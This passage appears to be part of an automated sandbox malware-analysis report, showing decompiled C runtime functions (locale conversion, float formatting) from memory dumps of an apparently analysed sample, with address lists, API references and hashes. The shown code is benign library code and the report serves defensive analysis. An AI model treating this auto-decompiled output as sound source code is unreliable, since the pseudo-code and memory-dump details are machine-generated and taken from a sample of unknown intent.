								if(_v8 == 0) {
									return _t57;
								}
								 *((intOrPtr*)(_v12 + 0x70)) =  *(_v12 + 0x70) & 0xfffffffd;
								return _t57;
							}
							__eflags = _a12 - _t65;
							if(_a12 < _t65) {
								goto L17;
							}
							__eflags = _a4;
							_t58 = MultiByteToWideChar( *(_t56 + 4), 9, _t72, _t65, _a4, 0 | _a4 != 0x00000000);
							__eflags = _t58;
							_t56 = _v20;
							if(_t58 != 0) {
								goto L19;
							}
							goto L17;
						}
						_t59 = _a4;
						__eflags = _t59;
						if(_t59 != 0) {
							 *_t59 =  *_t72 & 0x000000ff;
						}
						goto L10;
					} else {
						_t60 = _a4;
						if(_t60 != 0) {
							 *_t60 = 0;
						}
						goto L5;
					}
				}
			}

















                                                                                                                                                                                          0x004152a9
                                                                                                                                                                                          0x004152b0
                                                                                                                                                                                          0x004152c7
                                                                                                                                                                                          0x00000000
                                                                                                                                                                                          0x004152b7
                                                                                                                                                                                          0x004152b9
                                                                                                                                                                                          0x004152d3
                                                                                                                                                                                          0x004152d8
                                                                                                                                                                                          0x004152db
                                                                                                                                                                                          0x004152de
                                                                                                                                                                                          0x00415307
                                                                                                                                                                                          0x0041530e
                                                                                                                                                                                          0x00415310
                                                                                                                                                                                          0x00415391
                                                                                                                                                                                          0x004153ac
                                                                                                                                                                                          0x004153ae
                                                                                                                                                                                          0x004152ee
                                                                                                                                                                                          0x004152ee
                                                                                                                                                                                          0x004152f1
                                                                                                                                                                                          0x004152f3
                                                                                                                                                                                          0x004152f6
                                                                                                                                                                                          0x004152f6
                                                                                                                                                                                          0x004152f6
                                                                                                                                                                                          0x004152f6
                                                                                                                                                                                          0x00000000
                                                                                                                                                                                          0x004152fc
                                                                                                                                                                                          0x00415370
                                                                                                                                                                                          0x00415370
                                                                                                                                                                                          0x00415375
                                                                                                                                                                                          0x0041537b
                                                                                                                                                                                          0x0041537e
                                                                                                                                                                                          0x00415380
                                                                                                                                                                                          0x00415383
                                                                                                                                                                                          0x00415383
                                                                                                                                                                                          0x00415383
                                                                                                                                                                                          0x00415383
                                                                                                                                                                                          0x00000000
                                                                                                                                                                                          0x00415387
                                                                                                                                                                                          0x00415312
                                                                                                                                                                                          0x00415315
                                                                                                                                                                                          0x0041531b
                                                                                                                                                                                          0x0041531e
                                                                                                                                                                                          0x00415345
                                                                                                                                                                                          0x00415348
                                                                                                                                                                                          0x0041534e
                                                                                                                                                                                          0x00000000
                                                                                                                                                                                          0x00000000
                                                                                                                                                                                          0x00415350
                                                                                                                                                                                          0x00415353
                                                                                                                                                                                          0x00000000
                                                                                                                                                                                          0x00000000
                                                                                                                                                                                          0x00415355
                                                                                                                                                                                          0x00415355
                                                                                                                                                                                          0x0041535b
                                                                                                                                                                                          0x0041535e
                                                                                                                                                                                          0x004152cc
                                                                                                                                                                                          0x004152cc
                                                                                                                                                                                          0x00415367
                                                                                                                                                                                          0x00000000
                                                                                                                                                                                          0x00415367
                                                                                                                                                                                          0x00415320
                                                                                                                                                                                          0x00415323
                                                                                                                                                                                          0x00000000
                                                                                                                                                                                          0x00000000
                                                                                                                                                                                          0x00415327
                                                                                                                                                                                          0x00415338
                                                                                                                                                                                          0x0041533e
                                                                                                                                                                                          0x00415340
                                                                                                                                                                                          0x00415343
                                                                                                                                                                                          0x00000000
                                                                                                                                                                                          0x00000000
                                                                                                                                                                                          0x00000000
                                                                                                                                                                                          0x00415343
                                                                                                                                                                                          0x004152e0
                                                                                                                                                                                          0x004152e3
                                                                                                                                                                                          0x004152e5
                                                                                                                                                                                          0x004152eb
                                                                                                                                                                                          0x004152eb
                                                                                                                                                                                          0x00000000
                                                                                                                                                                                          0x004152bb
                                                                                                                                                                                          0x004152bb
                                                                                                                                                                                          0x004152c0
                                                                                                                                                                                          0x004152c4
                                                                                                                                                                                          0x004152c4
                                                                                                                                                                                          0x00000000
                                                                                                                                                                                          0x004152c0
                                                                                                                                                                                          0x004152b9

                                                                                                                                                                                          APIs
                                                                                                                                                                                          • _LocaleUpdate::_LocaleUpdate.LIBCMT ref: 004152D3
                                                                                                                                                                                          • __isleadbyte_l.LIBCMT ref: 00415307
                                                                                                                                                                                          • MultiByteToWideChar.KERNEL32(00000080,00000009,?,?,?,00000000,?,?,?,?), ref: 00415338
                                                                                                                                                                                          • MultiByteToWideChar.KERNEL32(00000080,00000009,?,00000001,?,00000000,?,?,?,?), ref: 004153A6
                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                          • Source File: 00000000.00000002.379749600.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                          • Associated: 00000000.00000002.379781701.0000000000426000.00000040.00020000.sdmp Download File
                                                                                                                                                                                          • Associated: 00000000.00000002.379797667.0000000000432000.00000040.00020000.sdmp Download File
                                                                                                                                                                                          Similarity
                                                                                                                                                                                          • API ID: ByteCharLocaleMultiWide$UpdateUpdate::___isleadbyte_l
                                                                                                                                                                                          • String ID:
                                                                                                                                                                                          • API String ID: 3058430110-0
                                                                                                                                                                                          • Opcode ID: 2839bf6a935194de417e4e3b9e78947074703b487fc663d1488f120054b34ef5
                                                                                                                                                                                          • Instruction ID: 094900ada7e667e90e346a2540d450e67f5821ec0926a3c2ae07879bc245b0d1
                                                                                                                                                                                          • Opcode Fuzzy Hash: 2839bf6a935194de417e4e3b9e78947074703b487fc663d1488f120054b34ef5
                                                                                                                                                                                          • Instruction Fuzzy Hash: 1831A032A00649EFDB20DFA4C8809EE7BB5EF41350B1885AAE8659B291D374DD80DF59
                                                                                                                                                                                          Uniqueness

                                                                                                                                                                                          Uniqueness Score: -1.00%

                                                                                                                                                                                          Function 0082372B, Relevance: 6.0, APIs: 4, Instructions: 49COMMON
                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                          APIs
                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                          • Source File: 00000000.00000002.380210040.0000000000810000.00000040.00000001.sdmp, Offset: 00810000, based on PE: false
                                                                                                                                                                                          Similarity
                                                                                                                                                                                          • API ID: __cftoe_l__cftof_l__cftog_l__fltout2
                                                                                                                                                                                          • String ID:
                                                                                                                                                                                          • API String ID: 3016257755-0
                                                                                                                                                                                          • Opcode ID: bfaf9c04f800815b6471d517da42daec28121d5ec88fca071302ba537a085f53
                                                                                                                                                                                          • Instruction ID: d08f7b550082dfb75b26c519aced54f0defe22b0645e011ba1a2956d63e947ae
                                                                                                                                                                                          • Opcode Fuzzy Hash: bfaf9c04f800815b6471d517da42daec28121d5ec88fca071302ba537a085f53
                                                                                                                                                                                          • Instruction Fuzzy Hash: DD1172B200005DBFCF125E84EC61CED3F62FB18354B198424FE1898030C33ACAB1AB81
                                                                                                                                                                                          Uniqueness

                                                                                                                                                                                          Uniqueness Score: -1.00%

                                                                                                                                                                                          Function 004134DB, Relevance: 6.0, APIs: 4, Instructions: 49COMMON
                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                          C-Code - Quality: 100%
                                                                                                                                                                                          			E004134DB(intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16, intOrPtr _a20, intOrPtr _a24, intOrPtr _a28) {
				intOrPtr _t25;
				void* _t26;
				void* _t28;

				_t25 = _a16;
				if(_t25 == 0x65 || _t25 == 0x45) {
					_t26 = E00412DCC(_t28, __eflags, _a4, _a8, _a12, _a20, _a24, _a28);
					goto L9;
				} else {
					_t34 = _t25 - 0x66;
					if(_t25 != 0x66) {
						__eflags = _t25 - 0x61;
						if(_t25 == 0x61) {
							L7:
							_t26 = E00412EBC(_t28, _a4, _a8, _a12, _a20, _a24, _a28);
						} else {
							__eflags = _t25 - 0x41;
							if(__eflags == 0) {
								goto L7;
							} else {
								_t26 = E004133E1(_t28, __eflags, _a4, _a8, _a12, _a20, _a24, _a28);
							}
						}
						L9:
						return _t26;
					} else {
						return E00413326(_t28, _t34, _a4, _a8, _a12, _a20, _a28);
					}
				}
			}






                                                                                                                                                                                          0x004134e0
                                                                                                                                                                                          0x004134e6
                                                                                                                                                                                          0x00413559
                                                                                                                                                                                          0x00000000
                                                                                                                                                                                          0x004134ed
                                                                                                                                                                                          0x004134ed
                                                                                                                                                                                          0x004134f0
                                                                                                                                                                                          0x0041350b
                                                                                                                                                                                          0x0041350e
                                                                                                                                                                                          0x0041352e
                                                                                                                                                                                          0x00413540
                                                                                                                                                                                          0x00413510
                                                                                                                                                                                          0x00413510
                                                                                                                                                                                          0x00413513
                                                                                                                                                                                          0x00000000
                                                                                                                                                                                          0x00413515
                                                                                                                                                                                          0x00413527
                                                                                                                                                                                          0x00413527
                                                                                                                                                                                          0x00413513
                                                                                                                                                                                          0x0041355e
                                                                                                                                                                                          0x00413562
                                                                                                                                                                                          0x004134f2
                                                                                                                                                                                          0x0041350a
                                                                                                                                                                                          0x0041350a
                                                                                                                                                                                          0x004134f0

                                                                                                                                                                                          APIs
                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                          • Source File: 00000000.00000002.379749600.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                          • Associated: 00000000.00000002.379781701.0000000000426000.00000040.00020000.sdmp Download File
                                                                                                                                                                                          • Associated: 00000000.00000002.379797667.0000000000432000.00000040.00020000.sdmp Download File
                                                                                                                                                                                          Similarity
                                                                                                                                                                                          • API ID: __cftoe_l__cftof_l__cftog_l__fltout2
                                                                                                                                                                                          • String ID:
                                                                                                                                                                                          • API String ID: 3016257755-0
                                                                                                                                                                                          • Opcode ID: bfaf9c04f800815b6471d517da42daec28121d5ec88fca071302ba537a085f53
                                                                                                                                                                                          • Instruction ID: bfd0e68975b3765f24e543ba70b005e9871d43ed2f52156b65e62ceec70126f9
                                                                                                                                                                                          • Opcode Fuzzy Hash: bfaf9c04f800815b6471d517da42daec28121d5ec88fca071302ba537a085f53
                                                                                                                                                                                          • Instruction Fuzzy Hash: DA117E7200014EBBCF125E85CC418EE3F27BF18755B58841AFE2858130D73BCAB2AB89
                                                                                                                                                                                          Uniqueness

                                                                                                                                                                                          Uniqueness Score: -1.00%